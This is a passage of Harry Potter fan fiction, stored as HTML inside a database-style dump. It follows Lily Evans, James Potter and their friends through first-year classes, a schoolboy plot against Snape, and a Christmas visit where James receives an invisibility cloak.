align="JUSTIFY">	Given James&#8217; loathing of the Slytherins, Lily surmised that potions was going to be a very bad class.  But, she assumed, we&#8217;ll see.</p>\n<p align="JUSTIFY">	James was right.  The class itself was fascinating, but the Slytherins were just as bad as promised.  The teacher, Professor Arsenius Jigger, entered the class and swept up to the front of the room.  He called roll and immediately began to talk.</p>\n<p align="JUSTIFY">	&#8220;As some of you may know, I am Professor Jigger.  Yes, the one that wrote the book <i>Magical Drafts and Potions</i>, and please, I don&#8217;t sign autographs.  I don&#8217;t favor students, so anyone thinking that they will be able to get a good grade in this class by sucking up to me is mistaken.  The only way, and I mean ONLY way I will like you is if you excel in this class.  And even then I will not favor you.  Now, please move to the back of the room and set up your caldrons.  Ingredients are to be found in the student store cupboard, and are readily at your access.  Recipes for all potions made here will be found on the blackboard.&#8221;  At that, he waved his wand and instantly, ingredients for a potion to cure boils appeared on the board.  Judging that this was not a man to mess with, Lily quietly set to work.  Sirius, however, got no such impression, and set out to make as much noise as possible.  In the process, he didn&#8217;t pay proper attention to his potion, and the cauldron melted.</p>\n<p align="JUSTIFY">	&#8220;Stupid boy,&#8221; snapped Professor Jigger to Sirius, &#8220;I don&#8217;t suppose you would like to explain to everyone why your cauldron has melted?&#8221;  Sirius glared at him, and Jigger continued, &#8220;Class, this is an example of what not to do.  Over here, however, is an example you would do well to follow.  What is your name, son?  Snape, is it?&#8221; </p>\n<p align="JUSTIFY">	A boy with black greasy hair smirked with pleasure at the attention being called to himself.  	&#8220;Yes, Professor Jigger, sir.  I&#8217;m Severus Snape.  My father has taught me loads of potions, so this one is particularly easy.  I can do spells most seventh year students can&#8217;t do.&#8221;</p>\n<p align="JUSTIFY">	Sirius threw Severus Snape a death stare.  Severus saw it and sneered right back at him.  Oh boy, thought Lily, this doesn&#8217;t look good.  Luckily, the class ended about five minutes later, and the Gryffindors packed their bags to head to Charms.</p>\n<p align="JUSTIFY">	Professor Levis was a tall, thin witch with glasses and a gawky posture.  She began the class with a series of spells that demonstrated what the students would learn that year.  After the display, everyone was eager to start.  </p>\n<p align="JUSTIFY">	&#8220;We&#8217;ll be setting things flying today.  Best do it with feathers, no?&#8221; she asked.</p>\n<p align="JUSTIFY">	She passed out feathers to the class, and they set to it.  Lily had an easier time with it than most of her fellow students, she set it in the air on her second try.  James was having no such luck.  Frustrated, he started waving his wand around with reckless abandon.  To his and everyone else&#8217;s surprise and amazement, the feather turned into a tarantula.  Girls screamed and backed away as the spider scuttled all over the floor, but Sirius was laughing his fool head off. </p>\n<p align="JUSTIFY">	&#8220;James!  What did you do?!?&#8221; Lily screamed over the shrieks of the other girls.</p>\n<p align="JUSTIFY">	&#8220;I don&#8217;t know!,&#8221; he shouted back, &#8220;it just&#8230; happened.&#8221;</p>\n<p align="JUSTIFY">	Professor Levis was quick to act.  Brandishing her wand, she muttered a spell, and the tarantula vanished into thin air.  The screaming subsided, and Professor Levis dismissed the class for the day.  &#8220;I think that you have had enough fun for one day, off you go.  I won&#8217;t take any point off for the disturbance, as it was an accident.&#8221;</p>\n<p align="JUSTIFY">	Lily, James, Sirius and Remus walked out of the classroom.  Sirius was stilling howling with laughter, and Remus was chuckling appreciatively.  Lily, however, was just about to tell James off for disturbing the class when--</p>\n<p align="JUSTIFY">	&#8220;Wow, that was really cool.&#8221; said a voice behind them.</p>\n<p align="JUSTIFY">	They all turned around to see Peter Pettigrew staring at James with reverence.  </p>\n<p align="JUSTIFY">	James started to turn red, &#8220;Thanks.&#8221; he replied.</p>\n<p align="JUSTIFY">	The four of them walked towards the Great Hall for lunch.  Peter Petigrew was tagging along, trying to hold them in conversation.  </p>\n<p align="JUSTIFY">	&#8220;My mum and dad are both wizards, but I didn&#8217;t start to show magic ability until I was nine.  They were really worried, so they were really proud when I got in here.  Mind you, I am not going to be the best at magic, so I think that I will be the one of the bottom students in our year.  That&#8217;s alright though, I just want to be on the Quidditch house team here, that&#8217;s all I want.&#8221;</p>\n<p align="JUSTIFY">	James looked up.  &#8220;Peter, you mean to say that they play Quidditch, right here?  In Hogwarts?&#8221;</p>\n<p align="JUSTIFY">	Peter looked at him in disbelief.  &#8220;Of course.  I thought that you knew all about Hogwarts, seeing as you are one of the founders&#8217; great great great grandson.  Of course we play Quidditch.  Each house has a house team, and they all compete with each other to win the Quidditch Cup each year.  I want to be a chaser next year.  I&#8217;d do it this year, but only second years and above are allowed.&#8221;</p>\n<p align="JUSTIFY">	James looked excited.  He talked to Peter all the way through lunch about how the teams were and the standings of the house teams.  Lily rolled her eyes.  Stupid really, all these sports, she thought.  She turned to talk to Remus about something else but found him talking just as animatedly about Quidditch as the rest of the boys.  Hmph.  </p>\n<p align="JUSTIFY">	After lunch, the five of them all went outside for Herbology.  The greenhouse that the class was taught in was very large and sweltering hot.  All around them were lush plants that made Lily feel like she was in a jungle.  These plants were far more interesting than ordinary Muggle ones.  These plants snapped at you if you got too close, or had shimmering leaves, or flowers that changes colors ever minute.  A young witch dressed in a green robe with soil streaks all over it made her way to the front of the room.  She beamed at the class.  </p>\n<p align="JUSTIFY">	&#8220;Good day all.  My name is Professor Vera Verde.  But, if you want, just call me Vera.  I find &#8216;Professor Verde&#8217; to be so stuffy.  Now then, lets get started, shall we?  Everyone take a plant and a gardening pot, and we will start to replant these Devil&#8217;s Snare seedlings.  Careful now, if they start to squeeze your fingers too tightly, just hold them up to the sunlight&#8230; that&#8216;s it.&#8221;</p>\n<p align="JUSTIFY">	An hour later, they came out of the greenhouse, glad to be out of the humid heat.  The Devil&#8217;s Snare seedlings had managed to get a good grip on James&#8217; fingers as he was talking to Sirius, and James was now nursing several bruised knuckles.  After climbing through the portrait of the Fat Lady to get into the common room (the password to get in was <i>Swedish Shortsnout</i>), Remus went straight to his homework, and the rest sat and talked about the first day.  </p>\n<p align="JUSTIFY">	&#8220;Really, Remus, it&#8217;s the first day back.  Why are you studying so much?&#8221; asked Sirius, who was bewildered by his friend&#8217;s bookish nature.</p>\n<p align="JUSTIFY">	&#8220;You know Jigger gave us homework.  We are supposed to look up four key ingredients that are in most potions, and write an essay about them.  So far I only have a bezoar, and I need to find three more.&#8221;</p>\n<p align="JUSTIFY">	Sirius yawned.  &#8220;So what?  The essay is due in a week, just relax and come talk to us.  However, it was just like him to give us homework on the first day back, the git.  And how dare he make a fool out of me in front of the class.  &#8216;This is a perfect example of what not to do&#8217;, honestly.  And on top of that, he has that Snape fool licking his arse every twelve seconds.&#8221;</p>\n<p align="JUSTIFY">	&#8220;Sirius!  Watch your language!&#8221; exclaimed James in mock outrage, &#8220;we have a lady present!&#8221;</p>\n<p align="JUSTIFY">	Lily snorted.  &#8220;Hmph, a lady.  Well, if you four are going to be childish like this, I am going to my room.  Besides, I haven&#8217;t gotten to know any of my roommates, so there.  Good night, boys.&#8221;</p>\n<p align="JUSTIFY">	All the boys waved her off, and continued making rude jokes about the teachers and other students.  Shaking her head, Lily climbed the stairs to her dormitory.  In the circular room were four other girls, two of them, who looked exactly alike, were doing homework, and the other two were talking.  Upon hearing the door close, the girls looked up.</p>\n<p align="JUSTIFY">	&#8220;Hello.  Your name is Lily, right?&#8221;  Lily nodded, and the girl continued, &#8220;I&#8217;m Arabella Figg.  This is my twin sister Annie, this is Julia Carlino, and this here is Anita Warren.&#8221;</p>\n<p>	&#8220;I&#8217;m Lily, nice to meet all of you.&#8221;</p>\n<p align="JUSTIFY">	Arabella spoke up again.  &#8220;Of course, I mean, we are going to be spending the next seven years together, so we might as well get along now.  Not that you don&#8217;t know anyone, I&#8217;ve seen you all day with those boys.  How you can tolerate someone who transfigures a feather into a tarantula is beyond me.&#8221;</p>\n<p align="JUSTIFY">	Lily giggled a bit, &#8220;James has always been like that, he does things without meaning to.  I remember one time, he was over at my house and he thought that it would be funny to put a cricket in my glass of water.  Only, what he didn&#8217;t know was that the glass of water was my sister, Petunia&#8217;s.  She took one sip, saw the cricket and screamed her bloody head off.  Of course, James apologized to her several times after she lost her voice and couldn&#8217;t tell him off.&#8221;</p>\n<p align="JUSTIFY">	All the girls were laughing at Lily&#8217;s story.  Anita Warren, a plain girl with brown hair and glasses asked &#8220;So you&#8217;ve known James since before Hogwarts, I take it?</p>\n<p align="JUSTIFY">	Lily nodded.  &#8220;Uh huh.  But I haven&#8217;t always known that he was a wizard&#8230; you see, this summer&#8230;&#8221; she started to tell them her story about the summer, and how she discovered that she was a witch.</p>\n<p align="JUSTIFY">	When she finished, Julia Carlino, who was a tall, very pretty girl with thick dark hair and light blue eyes, said, &#8220;wow, that&#8217;s so cool.  I&#8217;m really sorry about your sister though, I mean, how sad to be left behind.&#8221;</p>\n<p align="JUSTIFY">	Arabella, Anita and Annie all nodded in agreement.  Lily hung her head guiltily, but as soon as Annie changed the subject, she forgot all about Petunia&#8217;s anger and jealousy.  The girls talked for the rest of the night (the homework lay forgotten).</p>\n<p align="JUSTIFY">	The next morning, Lily joined the boys in the Great Hall for breakfast.  After quick introductions to the Gryffindor girls, they ate breakfast and then went down to their first class of the day: Defense Against the Dark Arts.  </p>\n<p align="JUSTIFY">	&#8220;Julie&#8217;s told me all about this guy.  Professor Moody is his name.  He&#8217;s also an Auror, which is a dark wizard catcher.&#8221; explained Remus enthusiastically.</p>\n<p align="JUSTIFY">	&#8220;Oh, kind of like policemen&#8221; remarked Lily.</p>\n<p align="JUSTIFY">	&#8220;What are those?&#8221; asked Remus, confused.  &#8220;Never mind.  Anyways, Moody is supposed to be a great teacher.  I am really excited for his lesson.&#8221;</p>\n<p align="JUSTIFY">	The class waited in silence for Professor Moody.  After about five minutes, just when people were getting restless, he barged in, startling many of the students.  </p>\n<p align="JUSTIFY">	&#8220;Ok, these are the rules,&#8221; he growled, &#8220;no talking unless I speak to you, no stupid excuses for why homework is late, and you WILL PAY ATTENTION!  I am here to teach you about the Dark Arts, and how to defend yourself if needed.  Most of this class will be hands on experience, so PAY ATTENTION!&#8221;</p>\n<p align="JUSTIFY">	Lily looked around.  Many of her classmates appeared uneasy about such an introduction.  Sirius was looking hesitant about &#8220;hand on experience&#8221; that involved any sort of curses, and James jumped every time Moody shouted.  Peter was shaking in his seat, obviously scared out of his wits.  Remus, however, was rapt with attention and taking copious notes.</p>\n<p align="JUSTIFY">	The lesson proceeded with everyone taking notes, jumping every time Moody&#8217;s  voice barked.  At the end of the hour, most of the class practically ran out the door.</p>\n<p align="JUSTIFY">	Transfiguration started that day as well.  Professor McGonagall was just as strict as Moody, but without any of his ability to instill fear in a class.  They set out to turn matchsticks into needles, and by the end of the lesson, James was the only one to get it right.</p>\n<p align="JUSTIFY">	After about a week, everyone knew the routine and had settled in.   &#8220;Well, it seems as if everyone has found their niche,&#8221; remarked Arabella Figg, &#8220;James is an excellent transfigurer, Lily can charm anything--&#8221;</p>\n<p align="JUSTIFY">	&#8220;Or anyone&#8221; joked Sirius</p>\n<p align="JUSTIFY">	&#8220;Oh, shut it you. Anyways, Remus over here is mad about DADA, and you are good at Herbology Sirius, and I am a potions master.&#8221; Arabella concluded with a flourish.</p>\n<p align="JUSTIFY">	&#8220;And what am I good at?&#8221; asked Peter, obviously not wanting to feel left out.</p>\n<p align="JUSTIFY">	&#8220;You, Peter&#8230;er, you are a great person!&#8221; Arabella supplied weakly.  Lily and James grinned at each other, and Sirius had to work his face in order to keep a straight expression.</p>\n<p align="JUSTIFY">	&#8220;You may be a great potions student, Arabella, but not as good as that Snape git.  Oooh, I&#8217;d like to get him for something one of these days.&#8221; remarked Sirius evilly.  </p>\n<p align="JUSTIFY">	 &#8220;You&#8217;d better watch is Sirius,&#8221; warned Arabella, &#8220;remember, he knows stuff seventh years don&#8217;t.&#8221;	</p>\n<p align="JUSTIFY">	Sirius nodded, his eyes glazing over with a fantasy in his head, &#8220;But think about how good it would be to nail him.&#8221;</p>\n<p align="JUSTIFY">	Everyone just sort of shrugged.  Sirius was mostly talk anyways, never really did anything.</p>\n<p align="JUSTIFY">	One morning at breakfast about two weeks later, Remus got an owl.  Not that that was strange, everyone got post.  Remus opened the letter, his face fell and he stopped eating.  	</p>\n<p align="JUSTIFY">	&#8220;What&#8217;s wrong Remus?&#8221; asked Lily.</p>\n<p align="JUSTIFY">	&#8220;Oh, my mum&#8217;s ill.  I have to leave school for about a week to take care of her because my dad&#8217;s out of town.&#8221;</p>\n<p align="JUSTIFY">	&#8220;Well, I hope she feels better soon&#8221; said Lily sympathetically, &#8220;send her our regards.&#8221;</p>\n<p align="JUSTIFY">	That night while Remus was packing, Lily and her friends sat in the common room.  James and Sirius were playing gobstones, Peter was building an Exploding Snap card house, which was smoking at the corners.  Arabella and Lily were sitting in squashy armchairs by the fire talking.  Lily was facing a window, and she could see a nearly full moon.  Tomorrow it would be swollen into a perfect circle.  </p>\n<p align="JUSTIFY">	After about the first week of school, Arabella had floated into their group of friends.  She was a fun person, liked to joke around with Sirius and James, she studied at night with Remus, and was kind to Peter.  She also like doing girl stuff too, which was a bonus for Lily who had been hanging around boys all the time.  Right now, Arabella and Lily were taking a quiz in <i>Teen Witch Weekly</i>.  </p>\n<p align="JUSTIFY">	&#8220;Um, A.  I don&#8217;t think that my best friend would hex me if I stole her hair drying potion.&#8221; answered Lily thoughtfully.</p>\n<p align="JUSTIFY">	&#8220;Oh yes I would,&#8221; remarked James sarcastically, who had overheard the question, &#8220;my hair drying potion is the one thing that makes my hair behave.&#8221;  He fluffed up his black hair, which had always stuck up all over the place.</p>\n<p align="JUSTIFY">	Arabella laughed, and marked Lily&#8217;s answer with a quill.  Sirius, who loved to make mischief, had quietly snuck up behind her and grabbed the magazine.</p>\n<p align="JUSTIFY">	&#8220;Hey!&#8221; she shouted in surprise, &#8220;Sirius Black, you give that back right now!&#8221;</p>\n<p align="JUSTIFY">	&#8220;Oi!  Let me have a look first.  James, Peter, c&#8217;mere!&#8221; He flipped the magazine back to the cover, where a pretty witch was modeling the latest fashion robes.  &#8220;How to tell if your boyfriend is cheating--without using Veritaserum.  Tricks to get him that are better than a love potion.  Best friend stories inside.  Your most embarrassing moments, caught on camera-- moving pictures on page 93.  This stuff if for teenage witches.  You&#8217;re only eleven.&#8221;</p>\n<p align="JUSTIFY">	&#8220;So,&#8221; retorted Arabella, &#8220;reading isn&#8217;t against the law!&#8221;</p>\n<p align="JUSTIFY">	Sirius was about to make a smart comment about how reading should be against the law when Remus came downstairs.  His bag was packed and he was ready to go.</p>\n<p align="JUSTIFY">	&#8220;Alright, I&#8217;m off,&#8221; he said, &#8220;a carriage is taking me to Hogsmeade Station to get the Hogwarts Express home.&#8221;</p>\n<p align="JUSTIFY">	Everyone stopped what they were doing. Peter paid for his lack of attention by having his Exploding Snap house blow up.</p>\n<p align="JUSTIFY">	James rose. &#8220;See you next week, Remus, I really hope your mom feels better.&#8221;</p>\n<p align="JUSTIFY">	Remus grinned. &#8220;Thanks guys.  I really gotta go though.&#8221;</p>\n<p align="JUSTIFY">	Lily and everyone followed Remus out through the Gryffindor common room.  After everyone said their goodbyes, they returned to their activities.</p>\n<p align="JUSTIFY">	The week Remus was gone went by without much incident, unless Sirius getting his tenth detention from Professor Jigger counted as an incident.  When Remus got back, everyone was happy.  Without him helping everyone with their Defense Against the Dark Arts homework, their grades suffered.</p>\n<p align="JUSTIFY">	One day during November, Sirius plopped down at the dinner table with a huge grin on his face.  	&#8220;Remember what I said about nailing Snape?&#8221;  Everyone nodded, &#8220;well, I think I have him for something.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p>[A/N:  What will Sirius do to Snape?  What is it that Snape is doing?  Stay tuned for the next chapter and find out!]</p>\n\n'),
	(36, 3, '\n\n\n\n<p align="JUSTIFY">First Year (cont.)		</p>\n<p align="JUSTIFY">	&#8220;Remember what I said about nailing Snape?&#8221; Everyone nodded. &#8220;Well, I think I have him for something.  I think that he&#8217;s stealing potion ingredients from Jigger.&#8221;</p>\n<p align="JUSTIFY">	Lily looked at him, &#8220;How can you be sure?&#8221;</p>\n<p align="JUSTIFY">	James added, &#8220;Plus why do you care?  You hate the boy.&#8221;</p>\n<p align="JUSTIFY">	But Arabella leaned in and said, &#8220;Tell me more.  If you want to get Snape, I&#8217;m in.&#8221;</p>\n<p align="JUSTIFY">	Sirius&#8217; smile grew even broader.  &#8220;Thanks Arabella.  Ok, I think that after that Forgetfulness Potion last week Snape went to talk to Jigger.  Probably to brag, the slimy git.  Anyway, I was cleaning up the dragon liver juice that I spilled on the floor and I saw Professor Jigger leave.  Snape looked around--I don&#8217;t think he saw me there--and then started rummaging through cabinets.&#8221;</p>\n<p align="JUSTIFY">	Peter cut Sirius off, &#8220;But that&#8217;s the student store cupboard.  We are allowed to go in there.&#8221;</p>\n<p align="JUSTIFY">	&#8220;Yeah, I know, but then he went into Jigger&#8217;s office.  I waited for about five minutes until he came back out.  He said something like &#8216;he doesn&#8217;t have it&#8217; and left.  I&#8217;ll bet anything he was trying to find something for one of his bloody potions that only Jigger would have.  And did you know that stealing from here is punishable by explosion?&#8221;  Sirius gave an evil grin.</p>\n<p align="JUSTIFY">	&#8220;You mean expulsion, Sirius,&#8221; corrected Remus.</p>\n<p align="JUSTIFY">	&#8220;Whatever.  The point is Snape could be gone forever!  We just need to catch him stealing something from Jigger, report it and BOOM!  Snape is out of our hair.&#8221;</p>\n<p align="JUSTIFY">	&#8220;I don&#8217;t know if that&#8217;s a good idea,&#8221; said Lily uneasily, &#8220;I mean, it could go seriously wrong.&#8221;</p>\n<p align="JUSTIFY">	But James, Remus, Peter and Arabella nodded enthusiastically about Sirius&#8217; plan.  James voiced the opinion that they would need to figure our a way to catch Snape, and then they would be all set.  Ignoring her best instincts, Lily agreed to go along with the plans.  The group finished eating and walked upstairs to the common room, with Sirius leading the way.  He was walking up the stair backwards, chatting excitedly about the plans.</p>\n<p align="JUSTIFY">	&#8220;&#8230;just imagine, us going to Professor Dumbledore and saying &#8216;sir, we are aware that slimy Severus Snape has been stealing from poor Professor Jigger&#8217;s private store of potion ingredients&#8216;&#8230; what?  Do I have something on my face?&#8221;  Sirius looked at everyone&#8217;s now horrified expressions and turned around.</p>\n<p align="JUSTIFY">	Snape was standing on the landing at the top of the staircase.  His face wore an expression of mixed fury and&#8230; something unreadable.</p>\n<p align="JUSTIFY">	&#8220;You,&#8221; Sirius growled, though his pale face showed horror at being caught talking about the other boy, &#8220;shouldn&#8217;t you be in your common room?&#8221;</p>\n<p align="JUSTIFY">	&#8220;Ah yes, I should be, <i>Black</i>.&#8221; Snape replied coolly.  &#8220;But, as you are not a prefect, what are you going to do about it?&#8221;</p>\n<p align="JUSTIFY">	Sirius scowled. If it was possible, his loathing of Snape intensified even more with that last comment.  Snape smirked, knowing that he had irked Sirius and swept past the group.</p>\n<p align="JUSTIFY">	&#8220;Don&#8217;t worry, Sirius.  We&#8217;ll get him&#8230; just wait.&#8221;</p>\n<p align="JUSTIFY">	The first snow of the year came in the beginning of December.  The weather made everything colder.  Arabella and Lily could be seen giving warming potions and charms to the boys in order to keep colds at bay.  James was too stubborn to take anything that the girls offered, and ended up having to go to the nurse for some Pepper Up Potion.  Seeing James with steam shooting out of his ears was so amusing, Lily found it hard not to say &#8220;I told you so!&#8221;  But after that, James&#8217; cold went away and he let Lily perform a warming charm without complaint.</p>\n<p align="JUSTIFY">	About a week before the Christmas holidays, a list was passed around for students to sign saying whether or not they would be staying at Hogwarts over the holiday.  Thinking it would be nice to be with her friends and family over the break, Lily wrote her parents asking if she could invite them over.  Two days later, she got her answer:</p>\n<p align="JUSTIFY">	Dearest Lily:</p>\n<p align="JUSTIFY">	Of course we would love to have your new friends over for the holiday.  Petunia was adamantly against it but I&#8217;m sure she&#8217;ll have a change of heart once she gets to know them.  I suggest that your friends write to their parents asking for permission.  Otherwise, we will see you in a week.  Much love, and we miss you!</p>\n<p align="JUSTIFY">	Love always~ Mummy</p>\n<p align="JUSTIFY">P.S:  This owl post is so strange--don&#8217;t you think?  Or perhaps you&#8217;re used to it.</p>\n<p align="JUSTIFY">	Lily bounded up the stairs and woke up Arabella.</p>\n<p align="JUSTIFY">	&#8220;Guess what?!?  You can stay!  Everyone can stay!  You&#8217;re all coming over!&#8221;</p>\n<p align="JUSTIFY">	Arabella rubbed her eyes and then grinned.  &#8220;Well, come on then, let&#8217;s go and tell the boys!&#8221;</p>\n<p align="JUSTIFY">	&#8220;But they&#8217;re in the boys dormitory.  We&#8217;re not allowed in there!&#8221;</p>\n<p align="JUSTIFY">	But Arabella had already dragged Lily over to where the four boys lay sleeping.  She climbed onto Sirius&#8217; bed and shook him.  He just rolled over and continued to sleep.  Arabella grinned wickedly and muttered the Aquatiqus spell. Suddenly water was dumped onto Sirius&#8217; head.  That got him up.  He sat bolt upright in his bed, sopping wet.</p>\n<p align="JUSTIFY">	&#8220;Urgh!&#8221; he gurgled, &#8220;Arabella, what was that for?!?&#8221;</p>\n<p align="JUSTIFY">	She giggled, &#8220;Time to get up!  Lily&#8217;s got some good news.&#8221;</p>\n<p align="JUSTIFY">	Arabella proceeded to bounce on Peter&#8217;s bed while Lily prodded James and Remus awake.  Once the boys&#8217; eyes were open, Lily told them about the invitation to stay over the holidays.</p>\n<p align="JUSTIFY">	&#8220;So you&#8217;ll all be staying at my house and since James lives down the road, we can visit his parents on Boxing Day.  Won&#8217;t that be lovely?&#8221;</p>\n<p align="JUSTIFY">	Everyone was really excited about staying at Lily&#8217;s house except Remus, who was looking downcast.</p>\n<p align="JUSTIFY">	&#8220;I&#8217;m sorry Lily, but I don&#8217;t think I&#8217;ll be able to make it.  My&#8230;my parents really wanted me home for Christmas this year.  Maybe some other time.  I&#8217;m really sorry.&#8221;</p>\n<p align="JUSTIFY">	Lily&#8217;s face fell.  &#8220;Oh, its ok.  Yeah, maybe some other time.&#8221;  She really had been hoping everyone would want to stay over.  Remus gave her an apologetic smile and looked down at his feet.</p>\n<p align="JUSTIFY">	<i>Something is up,</i> she thought, <i>I don&#8217;t know what, but something is up with him.</i></p><i>\n</i><p align="JUSTIFY">	It was freezing at the Hogsmeade Station.  The group waited in the snow impatiently for the Hogwarts Express to arrive so they could thaw out.  Finally after what seemed like forever, the scarlet steam engine chugged into view.  There was a huge scramble to get onto the train and then they were off. The whole day was spent chatting and playing games.  When they arrived at platform 9&#190;, a wizened old wizard them go through the barrier two at a time.  &#8220;As not to scare them Muggles.  Now get in line!&#8221; was what the man said when James bugged him about the wait.</p>\n<p align="JUSTIFY">	Everyone said their goodbyes to Remus, whose parents were waiting for him.  Lily spotted her own parents above the sea of students and ran over to them.</p>\n<p align="JUSTIFY">	&#8220;Mum!  Daddy!  I missed you so much!&#8221;</p>\n<p align="JUSTIFY">	Mr. Evans gathered her up in his arms in a tight hug.  &#8220;My girl, we&#8217;ve missed you as well.  Now, lets meet your charming friends.&#8221;  He smiled at the group who had made their way over.</p>\n<p align="JUSTIFY">	&#8220;Oh!  Well,&#8221; she started gesturing at them, &#8220;this is Sirius Black, Arabella Figg, Peter Pettigrew and of course you know James.&#8221;</p>\n<p align="JUSTIFY">	&#8220;Pleased to meet you&#8221; they chorused as James said, &#8220;Nice to see you Mr. and Mrs. Evans.&#8221;</p>\n<p align="JUSTIFY">	&#8220;Likewise!&#8221;, said Mrs. Evans, smiling.  &#8220;Now, let&#8217;s head out.  Lily&#8217;s father has borrowed a car from a friend.  We weren&#8217;t sure all of us could fit into our family&#8217;s car.  Got all your things?  Alright, lets go!&#8221;</p>\n<p align="JUSTIFY">	Everyone piled into the car, which was in fact large, enough for everyone.  It only took about twenty minutes to get to Lily&#8217;s house.  She led the way into the sitting room, where an enormous Christmas tree had been decorated.  On the couch sat Petunia, reading.  Upon hearing her sister and her friends enter the room she looked up. </p>\n<p align="JUSTIFY">	&#8220;Oh, it&#8217;s you.  Have a good term?&#8221;  she asked snidely.  &#8220;I see you&#8217;ve brought your freak friends.  And oh my, is that James Potter?  Well, I always knew he was a bit off.&#8221;</p>\n<p align="JUSTIFY">	Lily could feel her face burning.  &#8220;Petunia, you know very well that we are not freaks, so kindly shut up.  If you don&#8217;t have anything nice to say, we will leave.  Besides, you guys, I want to show you my room and where you will be staying.&#8221;</p>\n<p align="JUSTIFY">	The group filed out of the room and climbed up the stairs.</p>\n<p align="JUSTIFY">	&#8220;This is my room,&#8221; said Lily, gesturing towards the tidy space, &#8220;Arabella and I will be sleeping here.  You,&#8221; she pointed at the boys, &#8220;will be sleeping the in the guest room.&#8221;</p>\n<p align="JUSTIFY">	They followed Lily down the hall to the guest room, which had a bed and two cots set up.</p>\n<p align="JUSTIFY">	&#8220;I get the bed!&#8221; yelled James.  There was a mad dash to claim the bed.  Arabella and Lily looked at each other.</p>\n<p align="JUSTIFY">	&#8220;Boys!&#8221; they moaned.</p>\n<p align="JUSTIFY">	The next day, Christmas Eve, Lily and Arabella helped Mrs. Evans bake for the family dinner.  They set the shepards&#8217; pie in the oven and then settled in the living room to watch James, Sirius and Peter&#8217;s snowball fight in the garden.  Dinner that night was the most fun Lily had had in a long time.  The food was delicious and at the end of dessert, Sirius set off a round of Filibuster&#8217;s No Heat, Wet Start Fireworks.  Full and very sleepy, Lily and her friends trudged upstairs while her mother and Petunia cleaned the kitchen.</p>\n<p align="JUSTIFY">	&#8220;Wake up!  Come on, get up!  Happy Christmas!&#8221; </p>\n<p align="JUSTIFY">	Lily was awakened by the sound of James&#8217; voice.  She got up before anyone could pour water on her.  She was surprised to see that only James was there.</p>\n<p align="JUSTIFY">	&#8220;Happy Christmas to you as well,&#8221; she said groggily, &#8220;where is everyone?&#8221;</p>\n<p align="JUSTIFY">	&#8220;Downstairs opening the gifts their parents sent them.  Come on, get up!&#8221;</p>\n<p align="JUSTIFY">	Lily slid out of bed and followed James down the stairs.  In the family room sat Arabella, Sirius and Peter.  Lily could hear her parents in the kitchen and she supposed Petunia was still upstairs.</p>\n<p align="JUSTIFY">	Lily found that her friends had given her magnificent gifts.  Sirius gave her a book, &#8220;<i>Olde and Forgotten Bewitchments and Charmes</i>&#8221;, James had given her a silver charm bracelet. From Arabella, an enchanted diary that only opened if Lily spoke the password and Peter had given her a box of Chocolate Frogs.  In turn, Lily had given each of them a set of stationary with their initials embossed onto the parchment, and a brand new quill.</p>\n<p align="JUSTIFY">	&#8220;Merlin Lily, these are great!  Thanks!&#8221; exclaimed Peter.</p>\n<p align="JUSTIFY">	Just then, Lily&#8217;s mother walked into the room.  &#8220;James, your mother called.  They decided to visit a family friend and won&#8217;t be here to see you tomorrow.  They dropped off your present, though.  Its right there, underneath the tree.&#8221;</p>\n<p align="JUSTIFY">	James walked over to where a package lay under the tree.  He sat back down and tore off the wrapping paper.  He opened the box and held up a something made of silvery fabric.  James shook it out and then he realized it was a cloak.</p>\n<p align="JUSTIFY">	&#8220;Ooh, James, its so pretty!&#8221; admired Lily.</p>\n<p align="JUSTIFY">	&#8220;Hang on, there&#8217;s a note,&#8221; he said, noticing the card that was pinned to the hood of the cloak.  James opened the envelope and read the note inside:</p>\n<p align="JUSTIFY">	&#8220;Dear James:</p>\n<p align="JUSTIFY">	Happy Christmas.  We hope you like your gift.  It has been handed down from generation to generation on your mother&#8217;s side of the family.  The invisibility cloak you hold in your hands once belonged to Jack the Giant Killer, and now it belongs to you.  Happy Christmas, and we love you very much.</p>\n<p align="JUSTIFY">	Mum and Father&#8221;</p>\n<p align="JUSTIFY">	&#8220;Merlin.&#8221; whispered James.  </p>\n<p align="JUSTIFY">	&#8220;That&#8217;s amazing,&#8221; exclaimed Sirius, &#8220;just think of what you could do with this cloak!  Hey!&#8221; his eyes shined malevolently, &#8220;you can use this to spy on Snape,  this is perfect!&#8221;</p>\n<p align="JUSTIFY">	&#8220;I suppose, but Sirius, maybe not right away.  We still need to think of a plan, remember?&#8221;  James was reluctant to let it be used by someone other than himself.  If Sirius was disappointed, he didn&#8217;t show it.  James did however, hand it over to his friends to try on.</p>\n<p align="JUSTIFY">	While Peter was admiring James&#8217; gift, James walked over to the Evans&#8217; fireplace, where pictures adorned the mantel.  He smiled as he looked at a picture of Lily and himself taken when they had been five years old.  It had been at James&#8217; birthday party and there were both wearing party hats, their arms around each other&#8217;s shoulders.  Lily had chocolate frosting smudged on her cheek but they both had huge smiles on their faces.</p>\n<p align="JUSTIFY">	&#8220;Hey, Lily-- look at this,&#8221; he gently lifted the photo from its place and brought it to the group.</p>\n<p align="JUSTIFY">	&#8220;Goodness, look at how little we were!&#8221; she exclaimed.</p>\n<p align="JUSTIFY">	&#8220;How fascinating,&#8221; mocked Sirius, &#8220;c&#8217;mon, I want to do something else.&#8221;</p>\n<p align="JUSTIFY">	Lily laughed and threw a pillow at him.  This started a furious pillow fight, which only ended when the room was filled with floating feathers.</p>\n<p align="JUSTIFY">****</p>\n<p align="JUSTIFY">	Knowing that they had to go back to school made it hard to leave.  Lily&#8217;s parents drove them to King&#8217;s Cross and made a proper fuss over their daughter and her friends.  Sirius shot Lily a pained look but Lily knew he was loving the attention.</p>\n<p align="JUSTIFY">	&#8220;Oh look Mum, its Remus.  We&#8217;ve got to go.  Yes, I&#8217;ll write.  Ok, bye now.&#8221;  she waved them off and then led the group over to where Remus was waiting for a few fifth years to got through the barrier.  He looked tired but very happy to see his friends.</p>\n<p align="JUSTIFY">	&#8220;Hey guys.  How was Christmas?&#8221;</p>\n<p align="JUSTIFY">	&#8220;Great.  Guess what James got from his parents?  He got a&#8230;&#8221; started Arabella.</p>\n<p align="JUSTIFY">	&#8220;I&#8217;ll tell him on the train.&#8221; interrupted James, who received a curious look from everyone.  For some reason he felt that sharing the information about his gift was something to be done in the privacy of the train compartment.  They got a space at the end of the train and spent an uneventful day on the way back to Hogwarts.</p>\n<p align="JUSTIFY">	Much to Sirius&#8217; disappointment, classes started the following day.  Fortunately, they hadn&#8217;t had any homework over the holiday but the lack of magical training made classes difficult.  Potions was the traditional nightmare but Sirius found that if he paid attention to Snape and what he was doing, 